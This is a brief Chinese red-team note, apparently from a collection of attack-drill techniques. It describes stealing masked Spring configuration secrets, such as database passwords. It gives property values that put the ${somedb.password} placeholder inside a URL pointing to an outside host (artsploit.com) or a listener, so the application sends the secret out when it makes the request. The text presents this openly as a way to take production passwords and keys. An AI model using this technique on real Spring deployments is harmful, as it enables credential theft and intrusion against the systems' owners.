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获取被星号脱敏的密码的明文 (方法二) 原理/出处 #1

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2020攻防演练弹药库-您有主机上线请注意

就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok

eureka.client.serviceUrl.defaultZone=http://${somedb.password}@127.0.0.1:5000
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml

${somedb.password} 是Spring的占位符, 当发起如下请求时会主动填充, 也就是说所有用以下请求格式的都可以外带, 不限于eureka

scheme://[user:password@]domain:port/path?query_string#fragment_id

【Spring源码分析】.properties文件读取及占位符${...}替换源码解析 - 五月的仓颉 - 博客园

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